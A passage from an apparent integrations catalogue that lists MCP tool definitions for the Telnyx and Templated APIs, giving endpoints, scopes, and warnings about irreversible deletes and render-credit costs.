authorization. The payment signature can be provided via the PAYMENT-SIGNATURE header or the payment_signature body parameter. Settlement is idempotent — submitting the same quote ID multiple times returns the existing transaction. [x402 Payment Transactions] via POST /x402/credit_account POST /api/v1/telnyx/x402/credit_account. Scopes: admin. telnyx_post_v2_x402_credit_account_quote (write) — Creates a payment quote for the specified USD amount. Returns payment details including the x402 payment requirements, network, and expiration time. The quote must be settled before it expires. [x402 Payment Transactions] via POST /x402/credit_account/quote POST /api/v1/telnyx/x402/credit_account/quote. Scopes: admin. telnyx_post_verifications_by_phone_number_by_phone_number_actions_verify (write) — Submits a verification code for the specified phone number and Verify profile. The response indicates whether the code was accepted or rejected. [Verify] via POST /verifications/by_phone_number/{phone_number}/actions/verify POST /api/v1/telnyx/verifications/by_phone_number/{phone_number}/actions/verify. Scopes: admin. telnyx_post_verifications_by_verification_id_actions_verify (write) — Checks the supplied code, or the supplied status for a custom-code verification, against the verification identified by ID. The response indicates whether the verification was accepted or rejected. [Verify] via POST /verifications/{verification_id}/actions/verify POST /api/v1/telnyx/verifications/{verification_id}/actions/verify. Scopes: admin. telnyx_post_verifications_call (write) — Starts a verification for the specified phone number and delivers its code in a voice call using the selected Verify profile. Returns the pending verification record. [Verify] via POST /verifications/call POST /api/v1/telnyx/verifications/call. Scopes: admin. telnyx_post_verifications_flashcall (write) — Starts a verification for the specified phone number and places a brief call with the code embedded in the caller ID. Returns the pending verification record. [Verify] via POST /verifications/flashcall POST /api/v1/telnyx/verifications/flashcall. Scopes: admin. telnyx_post_verifications_sms (write) — Starts a verification for the specified phone number and sends its code by SMS using the selected Verify profile. Returns the pending verification record. [Verify] via POST /verifications/sms POST /api/v1/telnyx/verifications/sms. Scopes: admin. telnyx_post_verifications_whatsapp (write) — Starts a verification for the specified phone number and sends its code over WhatsApp using the selected Verify profile. Returns the pending verification record. [Verify] via POST /verifications/whatsapp POST /api/v1/telnyx/verifications/whatsapp. Scopes: admin. telnyx_post_verified_numbers (write) — Initiates phone number verification procedure. Supports DTMF extension dialing for voice calls to numbers behind IVR systems. [Verified Numbers] via POST /verified_numbers POST /api/v1/telnyx/verified_numbers. Scopes: admin. telnyx_post_verified_numbers_by_phone_number_actions_verify (write) — Submit the verification code received via the selected verification method to verify a phone number. [Verified Numbers] via POST /verified_numbers/{phone_number}/actions/verify POST /api/v1/telnyx/verified_numbers/{phone_number}/actions/verify. Scopes: admin. telnyx_post_verify_profiles (write) — Creates a new Verify profile to associate verifications with. [Verify] via POST /verify_profiles POST /api/v1/telnyx/verify_profiles. Scopes: admin. telnyx_post_verify_profiles_templates (write) — Create a new Verify profile message template. [Verify] via POST /verify_profiles/templates POST /api/v1/telnyx/verify_profiles/templates. Scopes: admin. telnyx_post_virtual_cross_connects (write) — Create a new Virtual Cross Connect. For AWS and GCE, you have the option of creating the primary connection first and the secondary connection later. You also have the option of disabling the primary and/or secondary connections at any time and later re-enabling them. With Azure, you do not have this option. Azure requires both the primary and secondary connections to be created at the same time and they can not be independantly disabled. [Virtual Cross Connects] via POST /virtual_cross_connects POST /api/v1/telnyx/virtual_cross_connects. Scopes: admin. telnyx_post_voice_clones (write) — Creates a new voice clone by capturing the voice identity of an existing voice design. The clone can then be used for text-to-speech synthesis. [Voice Clones] via POST /voice_clones POST /api/v1/telnyx/voice_clones. Scopes: admin. telnyx_post_voice_designs (write) — Creates a new voice design (version 1) when voice_design_id is omitted. When voice_design_id is provided, adds a new version to the existing design instead. A design can have at most 50 versions. [Voice Designs] via POST /voice_designs POST /api/v1/telnyx/voice_designs. Scopes: admin. telnyx_post_web_search (write) — Performs a real-time web search and returns structured, LLM-ready JSON results with titles, URLs, descriptions, and snippets. Supports filtering by domain, country, safe search, freshness, and live crawl. Note: include_domains and exclude_domains cannot be used in the same request. Use one or the other. [Web Search] via POST /web_search POST /api/v1/telnyx/web_search. Scopes: admin. telnyx_post_web_search_contents (write) — Retrieves clean HTML or Markdown content from a list of URLs. Supports up to 20 URLs per request (public API limit). Specify which formats to return: html, markdown, metadata. [Contents] via POST /web_search/contents POST /api/v1/telnyx/web_search/contents. Scopes: admin. telnyx_post_web_search_research (write) — Starts a deep research task that runs multiple searches, reads sources, and synthesizes an answer with citations. ## Synchronous mode (default) When background is false or omitted, the request blocks until the research completes and returns the answer with citations. This can take up to 120 seconds depending on research_effort. ## Asynchronous mode When background is true, the request returns immediately with a task_id and status: pending. Poll GET /web_search/research/{task_id} to check when the research completes and retrieve the answer. [Research] via POST /web_search/research POST /api/v1/telnyx/web_search/research. Scopes: admin. telnyx_post_whatsapp_business_accounts_by_id_phone_numbers (write) — Start the verification process to register a phone number with a WhatsApp Business Account. [Whatsapp Phone Numbers] via POST /whatsapp/business_accounts/{id}/phone_numbers POST /api/v1/telnyx/whatsapp/business_accounts/{id}/phone_numbers. Scopes: admin. telnyx_post_whatsapp_message_templates (write) — Create a new WhatsApp message template. Templates must be approved by WhatsApp before they can be used in messages. [Whatsapp Message Templates] via POST /whatsapp/message_templates POST /api/v1/telnyx/whatsapp/message_templates. Scopes: admin. telnyx_post_whatsapp_phone_numbers_by_phone_number_resend_verification (write) — Resend the verification code for a phone number that is being registered with WhatsApp. [Whatsapp Phone Numbers] via POST /whatsapp/phone_numbers/{phone_number}/resend_verification POST /api/v1/telnyx/whatsapp/phone_numbers/{phone_number}/resend_verification. Scopes: admin. telnyx_post_whatsapp_phone_numbers_by_phone_number_verify (write) — Submit the verification code to complete WhatsApp registration of a phone number. [Whatsapp Phone Numbers] via POST /whatsapp/phone_numbers/{phone_number}/verify POST /api/v1/telnyx/whatsapp/phone_numbers/{phone_number}/verify. Scopes: admin. telnyx_post_wireguard_interfaces (write) — Create a new WireGuard Interface. Current limitation of 10 interfaces per user can be created. [WireGuard Interfaces] via POST /wireguard_interfaces POST /api/v1/telnyx/wireguard_interfaces. Scopes: admin. telnyx_post_wireguard_peers (write) — Create a new WireGuard Peer. Current limitation of 5 peers per interface can be created. [WireGuard Interfaces] via POST /wireguard_peers POST /api/v1/telnyx/wireguard_peers. Scopes: admin. telnyx_post_wireless_blocklists (write) — Create a Wireless Blocklist to prevent SIMs from connecting to certain networks. [Wireless Blocklists] via POST /wireless_blocklists POST /api/v1/telnyx/wireless_blocklists. Scopes: admin. telnyx_post_wireless_detail_records_reports (write) — Asynchronously create a report containing Wireless Detail Records (WDRs) for the SIM cards that consumed wireless data in the given time period. [Reporting] via POST /wireless/detail_records_reports POST /api/v1/telnyx/wireless/detail_records_reports. Scopes: admin. telnyx_put_10dlc_brand_by_brandid (write) — Update a brand's attributes by brandId. [Brands] via PUT /10dlc/brand/{brandId} PUT /api/v1/telnyx/10dlc/brand/{brandId}. Scopes: admin. telnyx_put_10dlc_brand_by_brandid_externalvetting (write) — This operation can be used to import an external vetting record from a TCR-approved vetting provider. If the vetting provider confirms validity of the record, it will be saved with the brand and will be considered for future campaign qualification. [Brands] via PUT /10dlc/brand/{brandId}/externalVetting PUT /api/v1/telnyx/10dlc/brand/{brandId}/externalVetting. Scopes: admin. telnyx_put_10dlc_brand_by_brandid_revet (write) — This operation allows you to revet the brand. However, revetting is allowed once after the successful brand registration and thereafter limited to once every 3 months. [Brands] via PUT /10dlc/brand/{brandId}/revet PUT /api/v1/telnyx/10dlc/brand/{brandId}/revet. Scopes: admin. telnyx_put_10dlc_brand_by_brandid_smsotp (write) — Verify the SMS OTP (One-Time Password) for Sole Proprietor brand verification. Verification Flow: 1. User receives OTP via SMS after triggering 2. User submits the OTP pin through this endpoint 3. Upon successful verification: - A BRAND_OTP_VERIFIED webhook event is sent to the CSP - The brand's identityStatus changes to VERIFIED - Campaigns can now be created for this brand Error Handling: Provides proper error responses for: * Invalid OTP pins * Expired OTPs * OTP verification failures [Brands] via PUT /10dlc/brand/{brandId}/smsOtp PUT /api/v1/telnyx/10dlc/brand/{brandId}/smsOtp. Scopes: admin. telnyx_put_10dlc_campaign_by_campaignid (write) — Update a campaign's properties by campaignId. Please note: only sample messages are editable. [Campaign] via PUT /10dlc/campaign/{campaignId} PUT /api/v1/telnyx/10dlc/campaign/{campaignId}. Scopes: admin. telnyx_put_10dlc_phone_number_campaigns_by_phonenumber (write) — Replaces the 10DLC campaign assignment for the specified phone number. [Phone Number Campaigns] via PUT /10dlc/phone_number_campaigns/{phoneNumber} PUT /api/v1/telnyx/10dlc/phone_number_campaigns/{phoneNumber}. Scopes: admin. telnyx_put_ai_assistants_by_assistant_id_canary_deploys (write) — Endpoint to update a canary deploy configuration for an assistant. Updates the existing canary deploy configuration with new version IDs and percentages. All old versions and percentages are replaces by new ones from this request. [Assistants] via PUT /ai/assistants/{assistant_id}/canary-deploys PUT /api/v1/telnyx/ai/assistants/{assistant_id}/canary-deploys. Scopes: admin. telnyx_put_ai_assistants_by_assistant_id_tools_by_tool_id (write) — Attach an existing tool to an AI assistant. [Assistants] via PUT /ai/assistants/{assistant_id}/tools/{tool_id} PUT /api/v1/telnyx/ai/assistants/{assistant_id}/tools/{tool_id}. Scopes: admin. telnyx_put_ai_assistants_tests_by_test_id (write) — Updates an existing assistant test configuration with new settings [Assistants] via PUT /ai/assistants/tests/{test_id} PUT /api/v1/telnyx/ai/assistants/tests/{test_id}. Scopes: admin. telnyx_put_ai_collections_by_uuid_settings (write) — Replaces the collection's retrieval settings. [AI Collections] via PUT /ai/collections/{uuid}/settings PUT /api/v1/telnyx/ai/collections/{uuid}/settings. Scopes: admin. telnyx_put_ai_collections_by_uuid_sources (write) — Replaces the collection's entire source set. The response meta reports which sources were added, retained, and removed. [AI Collections] via PUT /ai/collections/{uuid}/sources PUT /api/v1/telnyx/ai/collections/{uuid}/sources. Scopes: admin. telnyx_put_ai_conversations_by_conversation_id (write) — Update metadata for a specific conversation. [Conversations] via PUT /ai/conversations/{conversation_id} PUT /api/v1/telnyx/ai/conversations/{conversation_id}. Scopes: admin. telnyx_put_ai_conversations_insight_groups_by_group_id (write) — Updates the specified insight template group and returns the updated group. [Conversations] via PUT /ai/conversations/insight-groups/{group_id} PUT /api/v1/telnyx/ai/conversations/insight-groups/{group_id}. Scopes: admin. telnyx_put_ai_conversations_insights_by_insight_id (write) — Updates the specified insight template and returns the updated template. [Conversations] via PUT /ai/conversations/insights/{insight_id} PUT /api/v1/telnyx/ai/conversations/insights/{insight_id}. Scopes: admin. telnyx_put_ai_mcp_servers_by_mcp_server_id (write) — Updates the specified MCP server's configuration and returns the updated server. [MCP Servers] via PUT /ai/mcp_servers/{mcp_server_id} PUT /api/v1/telnyx/ai/mcp_servers/{mcp_server_id}. Scopes: admin. telnyx_put_ai_missions_by_mission_id (write) — Replaces the specified mission's definition with the provided configuration and returns the updated mission. [Missions] via PUT /ai/missions/{mission_id} PUT /api/v1/telnyx/ai/missions/{mission_id}. Scopes: admin. telnyx_put_ai_missions_by_mission_id_knowledge_bases_by_knowledge_base_id (write) — Replaces the definition of the specified knowledge base on this mission. [Missions] via PUT /ai/missions/{mission_id}/knowledge-bases/{knowledge_base_id} PUT /api/v1/telnyx/ai/missions/{mission_id}/knowledge-bases/{knowledge_base_id}. Scopes: admin. telnyx_put_ai_missions_by_mission_id_mcp_servers_by_mcp_server_id (write) — Replaces the configuration of the specified MCP server on this mission. [Missions] via PUT /ai/missions/{mission_id}/mcp-servers/{mcp_server_id} PUT /api/v1/telnyx/ai/missions/{mission_id}/mcp-servers/{mcp_server_id}. Scopes: admin. telnyx_put_ai_missions_by_mission_id_tools_by_tool_id (write) — Replaces the definition of the specified tool on this mission. [Missions] via PUT /ai/missions/{mission_id}/tools/{tool_id} PUT /api/v1/telnyx/ai/missions/{mission_id}/tools/{tool_id}. Scopes: admin. telnyx_put_calls_by_call_control_id_actions_client_state_update (write) — Updates the client state associated with the call. Client state is an opaque value echoed back in subsequent webhooks for the call, letting you correlate events with your application's state. [Call Commands] via PUT /calls/{call_control_id}/actions/client_state_update PUT /api/v1/telnyx/calls/{call_control_id}/actions/client_state_update. Scopes: admin. telnyx_put_channel_zones_by_channel_zone_id (write) — Update the number of Voice Channels for the Non-US Zones. This allows your account to handle multiple simultaneous inbound calls to Non-US numbers. Use this endpoint to increase or decrease your capacity based on expected call volume. [Voice Channels] via PUT /channel_zones/{channel_zone_id} PUT /api/v1/telnyx/channel_zones/{channel_zone_id}. Scopes: admin. telnyx_put_custom_storage_credentials_by_connection_id (write) — Updates a stored custom credentials configuration. [Call Recordings] via PUT /custom_storage_credentials/{connection_id} PUT /api/v1/telnyx/custom_storage_credentials/{telnyx_connection_id}. Scopes: admin. telnyx_put_dialogflow_connections_by_connection_id (write) — Updates the stored Dialogflow connection for the specified connection and returns the updated configuration. [Dialogflow Integration] via PUT /dialogflow_connections/{connection_id} PUT /api/v1/telnyx/dialogflow_connections/{telnyx_connection_id}. Scopes: admin. telnyx_put_dir_by_dir_id_infringement_update (write) — Push a fix for a DIR that is suspended with an open infringement claim back into vetting. POST /dir/{dir_id}/submit is blocked while a claim is open, so this is the customer-callable path to update the DIR's content and re-certify before Telnyx adjudicates the claim. All four certification booleans must be true. Optional content fields (display_name, logo_url, call_reasons, documents) update the DIR; documents are append-only. [Infringement Claims] via PUT /dir/{dir_id}/infringement_update PUT /api/v1/telnyx/dir/{dir_id}/infringement_update. Scopes: admin. telnyx_put_email_inboxes_by_inbox_id_drafts_by_draft_id (write) — Updates the supplied fields on a draft. account_id and inbox_id are server-owned and ignored if present in the body, so a draft can never be moved between accounts or inboxes. A draft that is being sent or has already been sent is immutable and returns 422 — modifying it would race with delivery or rewrite the record of what was actually sent. [Email Drafts] via PUT /email_inboxes/{inbox_id}/drafts/{draft_id} PUT /api/v1/telnyx/email_inboxes/{inbox_id}/drafts/{draft_id}. Scopes: admin. telnyx_put_email_inboxes_by_inbox_id_filters (write) — Replaces both sender filter lists atomically. Omitting either list clears that list. Use POST or DELETE for incremental changes. [Email Inboxes] via PUT /email_inboxes/{inbox_id}/filters PUT /api/v1/telnyx/email_inboxes/{inbox_id}/filters. Scopes: admin. telnyx_put_email_templates_by_id (write) — Replaces template fields. Behaves identically to PATCH; provided for compatibility with Phoenix resource routes. [Email Templates] via PUT /email_templates/{id} PUT /api/v1/telnyx/email_templates/{id}. Scopes: admin. telnyx_put_enterprises_by_enterprise_id (write) — Replace the enterprise's mutable fields. Only mutable fields may be sent. Server-assigned and immutable fields (id, record_type, created_at, updated_at, status fields, organization_type, country_code, role_type) cannot be changed: including any of them in the body is rejected with 400 Bad Request (Field 'X' is not allowed in this request). [Enterprises] via PUT /enterprises/{enterprise_id} PUT /api/v1/telnyx/enterprises/{enterprise_id}. Scopes: admin. telnyx_put_media_by_media_name (write) — Updates the specified stored media file and returns the updated resource. [Media Storage API] via PUT /media/{media_name} PUT /api/v1/telnyx/media/{media_name}. Scopes: admin. telnyx_put_messaging_profiles_by_profile_id_autoresp_configs_by_autoresp_cfg_id (write) — Replaces the configuration of the specified auto-response rule. [Opt-Out Management] via PUT /messaging_profiles/{profile_id}/autoresp_configs/{autoresp_cfg_id} PUT /api/v1/telnyx/messaging_profiles/{profile_id}/autoresp_configs/{autoresp_cfg_id}. Scopes: admin. telnyx_put_messaging_rcs_test_number_invite_by_id_by_phone_number (write) — Adds a test phone number to an RCS agent for testing purposes. [RCS] via PUT /messaging/rcs/test_number_invite/{id}/{phone_number} PUT /api/v1/telnyx/messaging/rcs/test_number_invite/{id}/{phone_number}. Scopes: admin. telnyx_put_oauth_clients_by_id (write) — Updates the specified OAuth client's configuration and returns the updated client. [OAuth Clients] via PUT /oauth_clients/{id} PUT /api/v1/telnyx/oauth_clients/{id}. Scopes: admin. telnyx_put_siprec_connectors_by_connector_name (write) — Updates a stored SIPREC connector configuration. [SIPREC Connectors] via PUT /siprec_connectors/{connector_name} PUT /api/v1/telnyx/siprec_connectors/{connector_name}. Scopes: admin. ================================================================================ ## Templated URL: https://www.agenticfabriq.com/integrations/templated Section: Integrated Tools Templated — 37 MCP tools Provider key: templated. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. templated_delete_v1_folder_by_id (write, destructive) — Delete a folder via DELETE /v1/folder/{id}. Permanently delete a folder. The templates that were in it are NOT deleted -- only their reference to the folder is removed, so they remain in the account unfiled. Answers 204 with no body. IRREVERSIBLE: Templated documents no undo and no trash for this, so what it removes is gone. It affects the whole connected Templated account, which may also be driven by the customer's own systems and by the Templated dashboard. DELETE /api/v1/templated/v1/folder/{id}. Scopes: api. templated_delete_v1_fonts (write, destructive) — Delete uploaded fonts via DELETE /v1/fonts. Permanently delete one or more UPLOADED fonts from this account, BY NAME. `fonts` is required and repeatable -- pass a list and every name in it is deleted. If several uploaded fonts share a name, all of them are removed. Templated's built-in gallery fonts and Google Fonts are not affected and cannot be deleted. A name that matches nothing answers 400 with a `not_found` array naming the values that missed, and deletes nothing. IRREVERSIBLE: Templated documents no undo and no trash for this, so what it removes is gone. It affects the whole connected Templated account, which may also be driven by the customer's own systems and by the Templated dashboard. DELETE /api/v1/templated/v1/fonts. Scopes: api. templated_delete_v1_render_by_id (write, destructive) — Delete a render via DELETE /v1/render/{id}. Permanently delete one render by its id. Answers 204 with no body. A 403 means the render belongs to another account and a 404 that no render has that id. Deleting a render does not refund the credit that produced it. IRREVERSIBLE: Templated documents no undo and no trash for this, so what it removes is gone. It affects the whole connected Templated account, which may also be driven by the customer's own systems and by the Templated dashboard. DELETE /api/v1/templated/v1/render/{id}. Scopes: api. templated_delete_v1_template_by_id (write, destructive) — Delete a template via DELETE /v1/template/{id}. Permanently delete one template by its id. THIS CANNOT BE UNDONE: a deleted template cannot be recovered. Answers 204 with no body. A 403 means the template belongs to another account and a 404 that no template has that id. IRREVERSIBLE: Templated documents no undo and no trash for this, so what it removes is gone. It affects the whole connected Templated account, which may also be driven by the customer's own systems and by the Templated dashboard. DELETE /api/v1/templated/v1/template/{id}. Scopes: api. templated_delete_v1_template_by_templateid_tags (write, destructive) — Remove tags from a template via DELETE /v1/template/{templateId}/tags. Remove specific tags from a template, leaving its other tags in place. The body is a JSON ARRAY OF STRINGS -- the tags to remove -- and `templateId` names the template. The reply is the updated template, whose `tags` field shows what is left. IRREVERSIBLE: Templated documents no undo and no trash for this, so what it removes is gone. It affects the whole connected Templated account, which may also be driven by the customer's own systems and by the Templated dashboard. DELETE /api/v1/templated/v1/template/{templateId}/tags. Scopes: api. templated_delete_v1_uploads (write, destructive) — Delete uploads via DELETE /v1/uploads. Permanently delete one or more uploaded images by id. `ids` is required and repeatable -- pass a list and every id in it is deleted. Every id must exist and belong to this account or the whole call is refused: a miss answers 400 with a `not_found` array naming the ids that failed, and nothing is deleted. Templates still referencing a deleted image lose it. IRREVERSIBLE: Templated documents no undo and no trash for this, so what it removes is gone. It affects the whole connected Templated account, which may also be driven by the customer's own systems and by the Templated dashboard. DELETE /api/v1/templated/v1/uploads. Scopes: api. templated_get_v1_account (read) — Get account information via GET /v1/account. Read this Templated account's own details: the email and name on it, the plan it is on, the API credit quota (`apiQuota`), how many credits have been used (`apiUsage`) and that as a percentage. Call this before a run that will render, to see how many credits are left. GET /api/v1/templated/v1/account. Scopes: api. templated_get_v1_folder_by_folderid_renders (read) — List a folder's renders via GET /v1/folder/{folderId}/renders. List the renders filed in one folder. `folderId` names the folder; `page` is the zero-based page number and `limit` the page size (default 25). GET /api/v1/templated/v1/folder/{folderId}/renders. Scopes: api. templated_get_v1_folder_by_id_templates (read) — List a folder's templates via GET /v1/folder/{id}/templates. List the templates filed in one folder. `id` names the folder. `query` filters by template name, `tags` by tag (comma-separated, matching any one of them), `width` and `height` by exact pixel size, and `includeLayers` adds each template's layers to the reply. `page` is the zero-based page number and `limit` the page size (default 25). GET /api/v1/templated/v1/folder/{id}/templates. Scopes: api. templated_get_v1_folders (read) — List folders via GET /v1/folders. List this account's folders, newest page first. `query` filters by folder name, `page` is the zero-based page number and `limit` the page size (default 25). Each folder carries its `templateCount`. GET /api/v1/templated/v1/folders. Scopes: api. templated_get_v1_fonts (read) — List available fonts via GET /v1/fonts. List every font this account can use in a template: the Google Fonts Templated provides and the custom fonts this team has uploaded. Each entry says which it is through `isGoogleFont` and `isUploadedFont`; only uploaded ones can be deleted. GET /api/v1/templated/v1/fonts. Scopes: api. templated_get_v1_fonts_gallery (read) — List gallery fonts via GET /v1/fonts/gallery. List the base fonts built into the Templated editor. Unlike the list of all fonts, this does NOT include fonts this team has uploaded. `query` filters by name case-insensitively; `page` is the zero-based page number and `limit` the page size (default 50). Each entry's `name` is usable directly as a CSS font-family value in a template layer. GET /api/v1/templated/v1/fonts/gallery. Scopes: api. templated_get_v1_render_by_id (read) — Retrieve a render via GET /v1/render/{id}. Retrieve one render by its id: its status, its output `url`, the template it came from, its dimensions and format, and the `externalId` it was created with. This is how an asynchronous render is polled for its result. GET /api/v1/templated/v1/render/{id}. Scopes: api. templated_get_v1_renders (read) — List renders via GET /v1/renders. List every render on this account, most recent first. GET /api/v1/templated/v1/renders. Scopes: api. templated_get_v1_template_by_id (read) — Retrieve a template via GET /v1/template/{id}. Retrieve one template by its id: its name, dimensions, tags, folder and clone relationship. `includeLayers` adds its layers and `includePages` its pages and their layers. GET /api/v1/templated/v1/template/{id}. Scopes: api. templated_get_v1_template_by_id_layers (read) — List a template's layers via GET /v1/template/{id}/layers. List the layers of one template: each layer's name, type (text, image, shape), its group and its description. Locked layers are omitted unless `includeLockedLayers` is true. These layer names are the keys a render uses to override content. GET /api/v1/templated/v1/template/{id}/layers. Scopes: api. templated_get_v1_template_by_id_pages (read) — List a template's pages via GET /v1/template/{id}/pages. List the pages of a multi-page template. Each page carries its own layers keyed by layer id. Locked layers are omitted unless `includeLockedLayers` is true. GET /api/v1/templated/v1/template/{id}/pages. Scopes: api. templated_get_v1_template_by_id_renders (read) — List a template's renders via GET /v1/template/{id}/renders. List the renders produced from one template. `id` names the template; `externalId` narrows the list to renders created with that external id. `page` is the zero-based page number and `limit` the page size (25 by default, up to 100). GET /api/v1/templated/v1/template/{id}/renders. Scopes: api. templated_get_v1_templates (read) — List templates via GET /v1/templates. List this account's templates. `query` filters by name, `tags` by tag (comma-separated, matching any one of them), `externalId` by the external id a template was created with, and `width`/`height` by exact pixel size. `includeLayers` adds each template's layers and `includePages` its pages and their layers. `page` is the zero-based page number and `limit` the page size (default 25). GET /api/v1/templated/v1/templates. Scopes: api. templated_get_v1_templates_clones (read) — List template clones via GET /v1/templates/clones. List the clone templates on this account. `sourceTemplateId` narrows the list to clones of one template and `externalId` to clones carrying a particular external id; with neither, every clone on the account is returned. `page` is the zero-based page number and `limit` the page size. Clones are invisible in the Templated dashboard, so this is the only way to see them. GET /api/v1/templated/v1/templates/clones. Scopes: api. templated_get_v1_templates_clones_count (read) — Count template clones via GET /v1/templates/clones/count. Count the clone templates on this account without listing them, optionally narrowed to one `sourceTemplateId`. Use this to check how many clones exist before deciding whether to page through them. GET /api/v1/templated/v1/templates/clones/count. Scopes: api. templated_get_v1_templates_gallery (read) — List gallery templates via GET /v1/templates/gallery. Browse Templated's public template gallery -- professionally designed templates usable as a starting point, which are read-only until cloned into this account. `query` filters by name or description, `category` by category name, `tags` by tag (comma-separated, matching any one of them), and `width`/`height` by exact pixel size; `includeLayers` adds each template's layers. `page` is the zero-based page number and `limit` the page size (default 25). GET /api/v1/templated/v1/templates/gallery. Scopes: api. templated_get_v1_uploads (read) — List uploads via GET /v1/uploads. List the images uploaded to this account. `query` searches by name or tag, `tags` filters by tag (comma-separated, matching any one of them), `page` is the zero-based page number and `limit` the page size (default 15). GET /api/v1/templated/v1/uploads. Scopes: api. templated_post_v1_folder (write) — Create a folder via POST /v1/folder. Create a folder to organise templates and renders. The body's `name` is required. The reply is the new folder, whose `id` is what the move and listing tools take. POST /api/v1/templated/v1/folder. Scopes: api. templated_post_v1_render (write) — Create a render via POST /v1/render. Render a template into an image, PDF or video. `template` is required and names the template to render; `layers` overrides individual layers by name (the key is the layer name, the value its properties), and `pages` does the same per page for a multi-page template. `format` picks jpg (the default), png, webp, pdf, mp4 or html; `width`, `height` and `scale` resize the output; `background`, `transparent`, `flatten` and `cmyk` control how it is composed; `duration` and `fps` apply to mp4. Setting `async` returns immediately instead of waiting for the render to finish, in which case `webhook_url` is where Templated POSTs the finished Render object. `external_id` ties the render to a record in your own system and is what the render listings filter on. `templates` and `merge` render a batch of templates at once. SPENDS API CREDITS: this call consumes render credits from the connected account's plan quota (a Free plan has 50 in total). Every other Templated tool is free. Check the remaining quota with the account tool (`apiUsage` against `apiQuota`) before running this in a loop, and note that deleting the result does not refund the credit. POST /api/v1/templated/v1/render. Scopes: api. templated_post_v1_render_by_id_duplicate (write) — Duplicate a render via POST /v1/render/{id}/duplicate. Create a copy of an existing render. The copy uses the same template and the same layer payload as the original and can then be changed independently. `id` names the render to copy. SPENDS API CREDITS: this call consumes render credits from the connected account's plan quota (a Free plan has 50 in total). Every other Templated tool is free. Check the remaining quota with the account tool (`apiUsage` against `apiQuota`) before running this in a loop, and note that deleting the result does not refund the credit. POST /api/v1/templated/v1/render/{id}/duplicate. Scopes: api. templated_post_v1_render_merge (write) — Merge renders into one PDF via POST /v1/render/merge. Merge several finished renders into a single PDF, in the order their ids are given. `ids` is required and holds the render ids; `urls` optionally adds external PDF URLs, which are downloaded and appended after the renders; `name` names the resulting file. The reply is a JSON object carrying the URL of the merged PDF. A bad render id answers 500 rather than a validation error -- that is the provider's behaviour, not an outage -- and costs no credit. Agentic Fabriq always sends `host: true` on this call, so Templated stores the merged PDF and answers with a URL. Templated's own default (`host: false`) streams the PDF BYTES back as the response body, and unbounded binary cannot be returned through a tool result -- it would land in the model's context and in the audit trail. Passing `host: false` explicitly is REFUSED, naming this reason, rather than being silently flipped; fetch the URL in the reply to get the file. SPENDS API CREDITS: this call consumes render credits from the connected account's plan quota (a Free plan has 50 in total). Every other Templated tool is free. Check the remaining quota with the account tool (`apiUsage` against `apiQuota`) before running this in a loop, and note that deleting the result does not refund the credit. POST /api/v1/templated/v1/render/merge. Scopes: api. templated_post_v1_template (write) — Create a template via POST /v1/template. Create a template by composing layers. `name`, `width` and `height` (pixels, max 5000) are required. Supply EITHER `layers`, for a single-page template, OR `pages`, for a multi-page one -- not both. Each layer names itself with `layer`, declares a `type` of text, image or shape, and positions itself with x, y, width and height; layers sharing a `group` value are grouped together in the editor. `duration` sets the default video length for mp4 renders of this template. POST /api/v1/templated/v1/template. Scopes: api. templated_post_v1_template_by_id_clone (write) — Clone a template via POST /v1/template/{id}/clone. Clone a template. A clone is an independent copy that KEEPS A LINK to the template it came from through `sourceTemplateId`, which is what distinguishes it from a duplicate: clones can be listed and counted per source template. `id` names the template to clone and the optional `name` names the clone. Note that clones do NOT appear in the Templated dashboard -- they are reachable only through the API. POST /api/v1/templated/v1/template/{id}/clone. Scopes: api. templated_post_v1_template_by_id_duplicate (write) — Duplicate a template via POST /v1/template/{id}/duplicate. Create an independent copy of a template. Unlike a clone, a duplicate keeps NO link to the original and DOES count against the template limit of this account's plan. `id` names the template to copy; the optional `name` names the copy, which otherwise becomes "Copy of <original>". POST /api/v1/templated/v1/template/{id}/duplicate. Scopes: api. templated_post_v1_template_by_templateid_tags (write) — Add tags to a template via POST /v1/template/{templateId}/tags. Add tags to a template, keeping the tags it already has. The body is a JSON ARRAY OF STRINGS -- the tags to append -- and `templateId` names the template. The reply is the updated template, whose `tags` field shows the full set. Tags are what the `tags` filter on the template listings matches. POST /api/v1/templated/v1/template/{templateId}/tags. Scopes: api. templated_post_v1_template_from_render_by_renderid (write) — Create a template from a render via POST /v1/template/from-render/{renderId}. Turn a finished render into a new template, with that render's layer changes baked in. `renderId` names the render. The result is a clone of the render's source template -- it keeps a `sourceTemplateId` link, does not count against the plan's template limit and does not appear in the dashboard -- which can then be adjusted with the update-template tool and rendered again. This is the step that makes iterative refinement possible: render, turn the render into a template, tweak it, render again. POST /api/v1/templated/v1/template/from-render/{renderId}. Scopes: api. templated_put_v1_folder_by_folderid_render_by_renderid (write) — Move a render to a folder via PUT /v1/folder/{folderId}/render/{renderId}. Move an existing render into a folder. `folderId` is the destination and `renderId` the render being moved. Answers 200 with an empty body, so success is the status rather than anything in the reply. Answers 200 with an empty body: the status is the whole result, and the tool returns an empty object. PUT /api/v1/templated/v1/folder/{folderId}/render/{renderId}. Scopes: api. templated_put_v1_folder_by_folderid_template_by_templateid (write) — Move a template to a folder via PUT /v1/folder/{folderId}/template/{templateId}. Move an existing template into a folder. `folderId` is the destination and `templateId` the template being moved. Answers 200 with an empty body, so success is the status rather than anything in the reply. Answers 200 with an empty body: the status is the whole result, and the tool returns an empty object. PUT /api/v1/templated/v1/folder/{folderId}/template/{templateId}. Scopes: api. templated_put_v1_folder_by_id (write) — Rename a folder via PUT /v1/folder/{id}. Rename a folder. `id` names the folder and the body's `name` is the new name; renaming is the only change this endpoint makes. The reply is the updated folder. PUT /api/v1/templated/v1/folder/{id}. Scopes: api. templated_put_v1_template_by_id (write) — Update a template via PUT /v1/template/{id}. Update an existing template: its name, dimensions, and the content and position of its layers. `id` names the template. By default the layers in the body are MERGED into the template's existing layers; setting the `replaceLayers` query parameter replaces the layer set entirely, which discards any layer the body does not mention. PUT /api/v1/templated/v1/template/{id}. Scopes: api. templated_put_v1_template_by_templateid_tags (write) — Replace a template's tags via PUT /v1/template/{templateId}/tags. REPLACE a template's tags with a new set, discarding every tag it currently has. The body is a JSON ARRAY OF STRINGS -- 